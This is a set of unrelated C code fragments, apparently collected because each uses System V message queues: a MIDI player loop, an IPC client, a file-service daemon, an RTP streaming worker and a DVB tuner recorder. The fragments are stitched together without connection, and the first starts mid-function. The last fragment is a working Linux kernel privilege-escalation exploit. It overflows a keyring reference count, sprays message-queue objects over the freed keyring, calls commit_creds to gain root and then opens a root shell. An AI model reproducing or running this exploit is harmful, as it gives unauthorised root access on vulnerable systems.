get_dtime(data,&t_info[low_chunk].info.position.vPosition); //Check if the song has reached the end stop = t_info[0].status; for(i=1;i<n_chunks;i++) stop &= t_info[i].status; if((do_ipc(qid,rcv,IPC_NOWAIT) > 0) && (rcv->mtext[0]=='p')) { n_chunks=data[0x30]; t_info = realloc(t_info,sizeof(Track_info)*n_chunks); stop = 1; rcv->mtext[0] = '0'; stop_all(); } } while(!stop); SEQ_STOP_TIMER(); if( stop == 2) { stop_all(); do { ipc_read=do_ipc(qid,rcv,0); } while(rcv->mtext[0] != 'p'); rcv->mtext[0] = '0'; n_chunks=data[0x30]; t_info = realloc(t_info,sizeof(Track_info)*n_chunks); stop = 0; } pos=0x308; } D2_FREE(data); D2_FREE(t_info); D2_FREE(rcv); }
int main (int argc, char *argv[]) { /* Assign key to message queue */ key = ftok(".", 'z'); mid = msgget(key, 0); /* Get infile names */ strcpy(infileName1, argv[1]); strcpy(infileName2, argv[2]); /* Read file pointer */ infile1 = fopen(infileName1, "r"); infile2 = fopen(infileName2, "r"); /* Check if infile name exists in same directory */ if ( ((infile1=fopen(infileName1,"r"))==NULL) || ((infile2=fopen(infileName2,"r"))==NULL) ){ printf("No such infile name exists\n"); exit(1); } /* Read from file1 */ while(1) { /* Copy string from file */ if (fgets(msg.buffer, BUFSIZ, infile1) != NULL) { } else { break; } } /* Print message from file1 */ printf("Message1 before: %s\n", msg.buffer); /* From client1 to SERVER */ long client_pid = (long)getpid(); msg.msg_fm = client_pid; msg.msg_to = SERVER; /* Send message to server */ if(msgsnd(mid, &msg, sizeof(msg.buffer), 0) == -1){ perror("msgsnd"); exit(-1); } /* Receive converted message from server */ if(msgrcv(mid, &msg, sizeof(msg), client_pid, 0) < 0){ perror("msgrcv"); exit(-1); } /* Print message from server */ printf("Message1 after: %s\n", msg.buffer); /* Read from file2 */ while(1) { /* Copy string from file */ if (fgets(msg.buffer, BUFSIZ, infile2) != NULL) { } else { break; } } /* Print message from file2 */ printf("Message2 before: %s\n", msg.buffer); /* From client1 to SERVER */ msg.msg_fm = client_pid; msg.msg_to = SERVER; /* Send message to server */ if(msgsnd(mid, &msg, sizeof(msg.buffer), 0) == -1){ perror("msgsnd"); exit(-1); } /* Receive converted message from server */ if(msgrcv(mid, &msg, sizeof(msg), client_pid, 0) < 0){ perror("msgrcv"); exit(-1); } /* Print message from server */ printf("Message2 after: %s\n", msg.buffer); exit(1); }
//---------------------------------------------------------------------------- // sfsd_main() // ~~~~~~~~~~~ // SFS daemon main loop // Status: finished //---------------------------------------------------------------------------- int sfsd_main( void ) { struct s_msg msgb; char path[SFS_MAX_PATH]; long auth; //, debug = 0; int reply_queue = -1, reply_queue_id, ret; _DE // sfs_debug( "sfsd_main", "entering the main loop." ); for (;;) { if (msgrcv( sfsd_queue, &msgb, SFS_MSG_SIZE, SFS_MESSAGE, 0 ) == -1) { sfs_debug( "sfsd_main", "message queue receive error." ); return 1; } DE reply_queue_id = msgb.sfs_msg.sfs_req_reply_queue; reply_queue = msgget( reply_queue_id, SFS_C_QUEUE_PERM ); if (reply_queue == -1) { sfs_debug( "sfsd_main", "cannot get message queue." ); continue; } DE if (msgb.sfs_msg.sfs_req_type == SFS_LOGIN_REQ) auth = sfs_auth( SFS_LOGIN_FILE ); else { sprintf( path, "%s/%d", SFS_DIR, msgb.sfs_msg.sfs_req_uid ); auth = sfs_auth( path ); } DE if (auth == -1) { sfs_debug( "sfsd_main", "authorization error" ); msgb.sfs_msg.sfs_req_auth = SFS_REPLY_FAIL; if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1) sfs_debug( "sfsd_main", "cannot send error reply." ); continue; } DE if (auth != msgb.sfs_msg.sfs_req_auth) { sfs_debug( "sfsd_main", "authorization error" ); msgb.sfs_msg.sfs_req_auth = SFS_REPLY_FAIL; if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1) sfs_debug( "sfsd_main", "cannot send error reply." ); continue; } DE switch (msgb.sfs_msg.sfs_req_type) { case SFS_IS_REQ: ret = sfs_is_request( &(msgb.sfs_msg.sfs_req.sfs_is) ); break; case SFS_STRING_REQ: ret = sfs_string_request( msgb.sfs_msg.sfs_req.sfs_string ); break; case SFS_OPEN_REQ: ret = sfs_open_request( &(msgb.sfs_msg.sfs_req.sfs_open) ); break; case SFS_CLOSE_REQ: ret = sfs_close_request( &(msgb.sfs_msg.sfs_req.sfs_close) ); break; case SFS_READ_REQ: ret = sfs_read_request( &(msgb.sfs_msg.sfs_req.sfs_read) ); break; case SFS_WRITE_REQ: ret = sfs_write_request( &(msgb.sfs_msg.sfs_req.sfs_write) ); break; case SFS_CHMOD_REQ: ret = sfs_chmod_request( &(msgb.sfs_msg.sfs_req.sfs_chmod) ); break; case SFS_FCHMOD_REQ: ret = sfs_fchmod_request( &(msgb.sfs_msg.sfs_req.sfs_fchmod) ); break; case SFS_LOGIN_REQ: ret = sfs_login_request( &(msgb.sfs_msg.sfs_req.sfs_login) ); break; case SFS_CHPASS_REQ: ret = sfs_chpass_request( &(msgb.sfs_msg.sfs_req.sfs_chpass) ); break; case SFS_DUMP_REQ: ret = sfs_dump_request(); break; case SFS_GETSIZE_REQ: ret = sfs_getsize_request( &(msgb.sfs_msg.sfs_req.sfs_size)); break; case SFS_SETSIZE_REQ: ret = sfs_setsize_request( &(msgb.sfs_msg.sfs_req.sfs_size)); break; default: sfs_debug( "sfsd_main", "are you making jokes? (unknown type: %ld)", msgb.sfs_msg.sfs_req_type ); continue; } DE /* * Return O.K. or Fail Reply * */ msgb.sfs_msg.sfs_req_type = SFS_REPLY_REQ; if (ret == SFS_REPLY_OK) msgb.sfs_msg.sfs_req_auth = SFS_REPLY_OK; else msgb.sfs_msg.sfs_req_auth = ret; /* SFS_REPLY_FAIL; */ DE if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1) { sfs_debug( "sfsd_main", "cannot send reply." ); continue; } } }
int rtp_worker_fun() { unsigned short rtp_port; unsigned short rtcp_port; struct msg_to_worker message; struct msgbuf die_message; int st; RTP_TO_RTSP response; char *abs_path = 0, *host = 0, *path = 0, *end_filename; /* Signal handler para el worker */ signal(SIGINT, rtp_worker_stop); /* Set paused time */ gettimeofday(&time_pause, 0); /* Abrir cola de mensajes */ msg_queue = msgget(MSG_IDENTIFIER/*TODO: Don't hardcode this */, IPC_CREAT /*| IPC_EXCL */| 0700); if (msg_queue == -1) goto terminate_error; message.mtype = getpid(); /* Wait for SETUP message */ st = msgrcv(msg_queue, &message, sizeof(struct msg_to_worker) - sizeof(long), getpid(), 0); if (st == -1) goto terminate_error; /* Change the response port to the one indicated in the message */ ((struct sockaddr_in*)&(message.rtsp_socket))->sin_port = message.message.response_port; /* Open response socket to RTSP server */ rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0); if (rtsp_sockfd == -1) goto terminate_error; st = connect(rtsp_sockfd, (struct sockaddr *)&(message.rtsp_socket), sizeof(struct sockaddr)); if (st == -1) goto terminate_error; /* Bind two consecutive UDP ports */ rtp_port = bind_UDP_ports(&rtp_sockfd, &rtcp_sockfd); if (!rtp_port) goto terminate_error; rtcp_port = rtp_port + 1; /* NOTE: This isn't really necesary for the server to work */ /* Create socket for rtsp */ /* rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0); if (!rtsp_sockfd) goto terminate_error; ((struct sockaddr_in *)&message.rtsp_socket)->sin_port = comm_port; st = connect(rtsp_sockfd, (struct sockaddr *)&message.rtsp_socket, sizeof(message.rtsp_socket)); if (st == -1) goto terminate_error; */ /* TODO: Set media type */ if (strstr(message.message.uri, "audio")) media_type = AUDIO; else media_type = VIDEO; client_ip = message.message.client_ip; client_port = message.message.client_port; /* Get the absolute path to the file */ st = extract_uri(message.message.uri, &host, &path); free(host); host = 0; if (!st) goto terminate_error; abs_path = get_absolute_path(path); free(path); path = 0; if (!abs_path) goto terminate_error; end_filename = strstr(abs_path, "/audio"); if (!end_filename) end_filename = strstr(abs_path, "/video"); *end_filename = 0; /* Initialize gstreamer */ st = gstreamer_fun(abs_path); free(abs_path); abs_path = 0; if (!st) goto terminate_error; /* Set as paused */ pthread_mutex_lock(&play_state_mutex); /* Initialize the pipe for communication with the sleeper process */ st = pipe(sleeper_pipe); if (st == -1) goto terminate_error; /* Initialize the process that will make this process sleep to limit the rate */ sleeper_pid = fork(); if (sleeper_pid < 0) goto terminate_error; else if (sleeper_pid == 0) sleeper_fun(); /* Initialize gstreamer communication threads, that will send data to the client */ st = pthread_create(&gstreamer_comm_thread, 0, gstreamer_comm_thread_fun, &message.message.ssrc); if (st) goto terminate_error; gstreamer_comm_created = 1; /* Initialize the thread responsible for limiting the speed of gstreamer */ st = pthread_create(&gstreamer_limitrate_thread, 0, gstreamer_limitrate_thread_fun, 0); if (st) goto terminate_error; gstreamer_limitrate_created = 1; /* Initialize the thread that will run gstreamer */ st = pthread_create(&gstreamer_loop_thread, 0, gstreamer_loop_thread_fun, 0); if (st) goto terminate_error; gstreamer_loop_created = 1; /* TODO: Create rtcp thread */ /* Prepare response */ response.Session = message.message.Session; strcpy(response.uri, message.message.uri); response.ssrc = message.message.ssrc; response.order = OK_RTP; response.server_port = rtp_port; st = send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0); close(rtsp_sockfd); rtsp_sockfd = -1; for (;;) { /* Wait for message */ st = msgrcv(msg_queue, &message, sizeof(struct msg_to_worker) - sizeof(long), getpid(), 0); if (st == -1) goto terminate_error; /* Change the response port to the one indicated in the message */ ((struct sockaddr_in*)&(message.rtsp_socket))->sin_port = message.message.response_port; /* Open response socket to RTSP server */ rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0); if (rtsp_sockfd == -1) goto terminate_error; st = connect(rtsp_sockfd, (struct sockaddr *)&message.rtsp_socket, sizeof(struct sockaddr)); if (st == -1) goto terminate_error; switch (message.message.order) { case PLAY_RTP: { GstStateChangeReturn st_ret; fprintf(stderr, "Recibido play en proceso %d\n", getpid()); /* TODO: Send play command to gstreamer thread */ /* TODO: goto error if error */ do { GstState state; GstState pending; fprintf(stderr, "Trying play in process %d\n", getpid()); gst_element_set_state(pipeline, GST_STATE_PLAYING); st_ret = gst_element_get_state(pipeline, &state, &pending, GST_CLOCK_TIME_NONE); if (st_ret == GST_STATE_CHANGE_SUCCESS) fprintf(stderr, "Successful play\n"); else if (st_ret == GST_STATE_CHANGE_FAILURE) fprintf(stderr, "Error in play\n"); } while (st_ret == GST_STATE_CHANGE_ASYNC || st_ret == GST_STATE_CHANGE_FAILURE); fprintf(stderr, "Play done\n"); /* Set as playing */ pthread_mutex_unlock(&play_state_mutex); /* Set play time */ gettimeofday(&time_play, 0); response.order = OK_RTP; response.server_port = rtp_port; st = send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0); break; } case PAUSE_RTP: { GstStateChangeReturn st_ret; fprintf(stderr, "Recibido pause en proceso %d\n", getpid()); /* TODO: Send pause command to gstreamer thread */ /* TODO: goto error if error */ /* Set as paused */ pthread_mutex_lock(&play_state_mutex); do { GstState state; GstState pending; fprintf(stderr, "Trying pause in process %d\n", getpid()); gst_element_set_state(pipeline, GST_STATE_PAUSED); st_ret = gst_element_get_state(pipeline, &state, &pending, GST_CLOCK_TIME_NONE); if (st_ret == GST_STATE_CHANGE_SUCCESS) fprintf(stderr, "Successful pause\n"); else if (st_ret == GST_STATE_CHANGE_FAILURE) fprintf(stderr, "Error in pause\n"); } while (st_ret == GST_STATE_CHANGE_ASYNC || st_ret == GST_STATE_CHANGE_FAILURE); /* Set pause time */ gettimeofday(&time_pause, 0); response.order = OK_RTP; response.server_port = rtp_port; send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0); break; } case TEARDOWN_RTP: /* NOTE: This isn't really necesary for the server to work */ /* Send FINISHED_RTP to RTSP server */ /*response.order = FINISHED_RTP; response.Session = message.message.Session; strcpy(response.uri, message.message.uri); response.ssrc = message.message.ssrc; send(rtsp_sockfd, &response, sizeof(response), 0); */ /* TODO: goto error if error */ fprintf(stderr, "Recibido teardown en proceso %d\n", getpid()); response.order = OK_RTP; response.server_port = rtp_port; send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0); goto terminate; break; default: break; } close(rtsp_sockfd); rtsp_sockfd = -1; } goto terminate; terminate_error: /* Send ERR_RTP to rtsp socket */ response.order = ERR_RTP; send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0); terminate: free_worker_process(); /* Send die message so this process is waited for */ die_message.mtype = getppid(); die_message.pid = getpid(); msgsnd(msg_queue, &die_message, sizeof(pid_t), 0); kill(getpid(), SIGKILL); }
int main(int argc, char **argv) { time_t cur_time; pthread_t signal_thread; pthread_t reader_thread; pthread_t ipc_thread; QUEUE_T *p_queue = create_queue(MAX_QUEUE); BUFSZ *bufptr; decoder *decoder = NULL; splitter *splitter = NULL; static thread_data tdata; decoder_options dopt = { 4, /* round */ 0, /* strip */ 0 /* emm */ }; tdata.dopt = &dopt; tdata.lnb = 0; tdata.tfd = -1; int result; int option_index; struct option long_options[] = { #ifdef HAVE_LIBARIB25 { "b25", 0, NULL, 'b'}, { "B25", 0, NULL, 'b'}, { "round", 1, NULL, 'r'}, { "strip", 0, NULL, 's'}, { "emm", 0, NULL, 'm'}, { "EMM", 0, NULL, 'm'}, #endif { "LNB", 1, NULL, 'n'}, { "lnb", 1, NULL, 'n'}, { "udp", 0, NULL, 'u'}, { "addr", 1, NULL, 'a'}, { "port", 1, NULL, 'p'}, { "http", 1, NULL, 'H'}, { "dev", 1, NULL, 'd'}, { "help", 0, NULL, 'h'}, { "version", 0, NULL, 'v'}, { "sid", 1, NULL, 'i'}, { "tsid", 1, NULL, 't'}, { "lch", 0, NULL, 'c'}, {0, 0, NULL, 0} /* terminate */ }; boolean use_b25 = FALSE; boolean use_udp = FALSE; boolean use_http = FALSE; boolean fileless = FALSE; boolean use_stdout = FALSE; boolean use_splitter = FALSE; boolean use_lch = FALSE; char *host_to = NULL; int port_to = 1234; int port_http = 12345; sock_data *sockdata = NULL; int dev_num = 0; int val; char *voltage[] = {"0V", "11V", "15V"}; char *sid_list = NULL; unsigned int tsid = 0; int connected_socket, listening_socket; unsigned int len; char *channel, *pch = NULL; while((result = getopt_long(argc, argv, "br:smn:ua:H:p:d:hvitcl:", long_options, &option_index)) != -1) { switch(result) { case 'b': use_b25 = TRUE; fprintf(stderr, "using B25...¥n"); break; case 's': dopt.strip = TRUE; fprintf(stderr, "enable B25 strip¥n"); break; case 'm': dopt.emm = TRUE; fprintf(stderr, "enable B25 emm processing¥n"); break; case 'u': use_udp = TRUE; host_to = "localhost"; fprintf(stderr, "enable UDP broadcasting¥n"); break; case 'H': use_http = TRUE; port_http = atoi(optarg); fprintf(stderr, "creating a http daemon¥n"); break; case 'h': fprintf(stderr, "¥n"); show_usage(argv[0]); fprintf(stderr, "¥n"); show_options(); fprintf(stderr, "¥n"); exit(0); break; case 'v': fprintf(stderr, "%s %s¥n", argv[0], version); fprintf(stderr, "recorder command for DVB tuner.¥n"); exit(0); break; /* following options require argument */ case 'n': val = atoi(optarg); switch(val) { case 11: tdata.lnb = 1; break; case 15: tdata.lnb = 2; break; default: tdata.lnb = 0; break; } fprintf(stderr, "LNB = %s¥n", voltage[tdata.lnb]); break; case 'r': dopt.round = atoi(optarg); fprintf(stderr, "set round %d¥n", dopt.round); break; case 'a': use_udp = TRUE; host_to = optarg; fprintf(stderr, "UDP destination address: %s¥n", host_to); break; case 'p': port_to = atoi(optarg); fprintf(stderr, "UDP port: %d¥n", port_to); break; case 'd': dev_num = atoi(optarg); fprintf(stderr, "using device: /dev/dvb/adapter%d¥n", dev_num); break; case 'i': use_splitter = TRUE; sid_list = optarg; break; case 't': tsid = atoi(optarg); if(strlen(optarg) > 2){ if((optarg[0] == '0') && ((optarg[1] == 'X') ||(optarg[1] == 'x'))){ sscanf(optarg+2, "%x", &tsid); } } fprintf(stderr, "tsid = 0x%x¥n", tsid); break; case 'c': use_lch = TRUE; break; } } if(use_http){ // http-server add- fprintf(stderr, "run as a daemon..¥n"); if(daemon(1,1)){ perror("failed to start"); return 1; } fprintf(stderr, "pid = %d¥n", getpid()); struct sockaddr_in sin; int ret; int sock_optval = 1; listening_socket = socket(AF_INET, SOCK_STREAM, 0); if ( listening_socket == -1 ){ perror("socket"); return 1; } if ( setsockopt(listening_socket, SOL_SOCKET, SO_REUSEADDR, &sock_optval, sizeof(sock_optval)) == -1 ){ perror("setsockopt"); return 1; } sin.sin_family = AF_INET; sin.sin_port = htons(port_http); sin.sin_addr.s_addr = htonl(INADDR_ANY); if ( bind(listening_socket, (struct sockaddr *)&sin, sizeof(sin)) < 0 ){ perror("bind"); return 1; } ret = listen(listening_socket, SOMAXCONN); if ( ret == -1 ){ perror("listen"); return 1; } fprintf(stderr,"listening at port %d¥n", port_http); //set rectime to the infinite if(parse_time("-",&tdata.recsec) != 0){ return 1; } if(tdata.recsec == -1) tdata.indefinite = TRUE; }else{ // -http-server add if(argc - optind < 3) { if(argc - optind == 2 && use_udp) { fprintf(stderr, "Fileless UDP broadcasting¥n"); fileless = TRUE; tdata.wfd = -1; } else { fprintf(stderr, "Some required parameters are missing!¥n"); fprintf(stderr, "Try '%s --help' for more information.¥n", argv[0]); return 1; } } fprintf(stderr, "pid = %d¥n", getpid()); if(use_lch){ set_lch(argv[optind], &pch, &sid_list, &tsid); if(sid_list) use_splitter = TRUE; fprintf(stderr, "tsid = 0x%x¥n", tsid); } if(pch == NULL) pch = argv[optind]; /* tune */ if(tune(pch, &tdata, dev_num, tsid) != 0) return 1; /* set recsec */ if(parse_time(argv[optind + 1], &tdata.recsec) != 0) // no other thread --yaz return 1; if(tdata.recsec == -1) tdata.indefinite = TRUE; /* open output file */ char *destfile = argv[optind + 2]; if(destfile && !strcmp("-", destfile)) { use_stdout = TRUE; tdata.wfd = 1; /* stdout */ } else { if(!fileless) { int status; char *path = strdup(argv[optind + 2]); char *dir = dirname(path); status = mkpath(dir, 0777); if(status == -1) perror("mkpath"); free(path); tdata.wfd = open(argv[optind + 2], (O_RDWR | O_CREAT | O_TRUNC), 0666); if(tdata.wfd < 0) { fprintf(stderr, "Cannot open output file: %s¥n", argv[optind + 2]); return 1; } } } } // http-server add /* initialize decoder */ if(use_b25) { decoder = b25_startup(&dopt); if(!decoder) { fprintf(stderr, "Cannot start b25 decoder¥n"); fprintf(stderr, "Fall back to encrypted recording¥n"); use_b25 = FALSE; } } while(1){ // http-server add- if(use_http){ struct hostent *peer_host; struct sockaddr_in peer_sin; pch = NULL; sid_list = NULL; len = sizeof(peer_sin); connected_socket = accept(listening_socket, (struct sockaddr *)&peer_sin, &len); if ( connected_socket == -1 ){ perror("accept"); return 1; } peer_host = gethostbyaddr((char *)&peer_sin.sin_addr.s_addr, sizeof(peer_sin.sin_addr), AF_INET); if ( peer_host == NULL ){ fprintf(stderr, "gethostbyname failed¥n"); return 1; } fprintf(stderr,"connect from: %s [%s] port %d¥n", peer_host->h_name, inet_ntoa(peer_sin.sin_addr), ntohs(peer_sin.sin_port)); char buf[256]; read_line(connected_socket, buf); fprintf(stderr,"request command is %s¥n",buf); char s0[256],s1[256],s2[256]; sscanf(buf,"%s%s%s",s0,s1,s2); char delim[] = "/"; channel = strtok(s1,delim); char *sidflg = strtok(NULL,delim); if(sidflg) sid_list = sidflg; if(use_lch) set_lch(channel, &pch, &sid_list, &tsid); if(pch == NULL) pch = channel; fprintf(stderr,"channel is %s¥n",channel); if(sid_list == NULL){ use_splitter = FALSE; splitter = NULL; }else if(!strcmp(sid_list,"all")){ use_splitter = FALSE; splitter = NULL; }else{ use_splitter = TRUE; } } // -http-server add /* initialize splitter */ if(use_splitter) { splitter = split_startup(sid_list); if(splitter->sid_list == NULL) { fprintf(stderr, "Cannot start TS splitter¥n"); return 1; } } if(use_http){ // http-server add- char header[100]; if(use_b25) { strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: video/mpeg¥r¥nCache-Control: no-cache¥r¥n¥r¥n"); }else if(!strcmp(sid_list,"1seg")){ strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: video/mpeg¥r¥nCache-Control: no-cache¥r¥n¥r¥n"); }else{ strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: application/octet-stream¥r¥nCache-Control: no-cache¥r¥n¥r¥n"); } write(connected_socket, header, strlen(header)); //set write target to http tdata.wfd = connected_socket; //tune if(tune(pch, &tdata, dev_num, tsid) != 0){ fprintf(stderr, "Tuner cannot start recording¥n"); continue; } }else{ // -http-server add /* initialize udp connection */ if(use_udp) { sockdata = calloc(1, sizeof(sock_data)); struct in_addr ia; ia.s_addr = inet_addr(host_to); if(ia.s_addr == INADDR_NONE) { struct hostent *hoste = gethostbyname(host_to); if(!hoste) { perror("gethostbyname"); return 1; } ia.s_addr = *(in_addr_t*) (hoste->h_addr_list[0]); } if((sockdata->sfd = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return 1; } sockdata->addr.sin_family = AF_INET; sockdata->addr.sin_port = htons (port_to); sockdata->addr.sin_addr.s_addr = ia.s_addr; if(connect(sockdata->sfd, (struct sockaddr *)&sockdata->addr, sizeof(sockdata->addr)) < 0) { perror("connect"); return 1; } } } // http-server add /* prepare thread data */ tdata.queue = p_queue; tdata.decoder = decoder; tdata.splitter = splitter; tdata.sock_data = sockdata; tdata.tune_persistent = FALSE; /* spawn signal handler thread */ init_signal_handlers(&signal_thread, &tdata); /* spawn reader thread */ tdata.signal_thread = signal_thread; pthread_create(&reader_thread, NULL, reader_func, &tdata); /* spawn ipc thread */ key_t key; key = (key_t)getpid(); if ((tdata.msqid = msgget(key, IPC_CREAT | 0666)) < 0) { perror("msgget"); } pthread_create(&ipc_thread, NULL, mq_recv, &tdata); fprintf(stderr, "¥nRecording...¥n"); time(&tdata.start_time); /* read from tuner */ while(1) { if(f_exit) break; time(&cur_time); bufptr = malloc(sizeof(BUFSZ)); if(!bufptr) { f_exit = TRUE; break; } bufptr->size = read(tdata.tfd, bufptr->buffer, MAX_READ_SIZE); if(bufptr->size <= 0) { if((cur_time - tdata.start_time) >= tdata.recsec && !tdata.indefinite) { f_exit = TRUE; enqueue(p_queue, NULL); break; } else { free(bufptr); continue; } } enqueue(p_queue, bufptr); /* stop recording */ time(&cur_time); if((cur_time - tdata.start_time) >= tdata.recsec && !tdata.indefinite) { break; } } /* delete message queue*/ msgctl(tdata.msqid, IPC_RMID, NULL); pthread_kill(signal_thread, SIGUSR1); /* wait for threads */ pthread_join(reader_thread, NULL); pthread_join(signal_thread, NULL); pthread_join(ipc_thread, NULL); /* close tuner */ if(close_tuner(&tdata) != 0) return 1; /* release queue */ destroy_queue(p_queue); if(use_http){ // http-server add- //reset queue p_queue = create_queue(MAX_QUEUE); /* close http socket */ close(tdata.wfd); fprintf(stderr,"connection closed. still listening at port %d¥n",port_http); f_exit = FALSE; }else{ // -http-server add /* close output file */ if(!use_stdout){ fsync(tdata.wfd); close(tdata.wfd); } /* free socket data */ if(use_udp) { close(sockdata->sfd); free(sockdata); } /* release decoder */ if(!use_http) if(use_b25) { b25_shutdown(decoder); } } // http-server add if(use_splitter) { split_shutdown(splitter); } if(!use_http) // http-server add return 0; } // http-server add }
int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("[+] uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(commit_creds == NULL || prepare_kernel_cred == NULL) { commit_creds = (_commit_creds)COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR; if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370) puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source"); } my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("[+] Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } puts("[+] Finished increfing"); puts("[+] Forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("[-] fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("[-] msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[-] msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("[+] Finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("[+] Caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("[+] keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }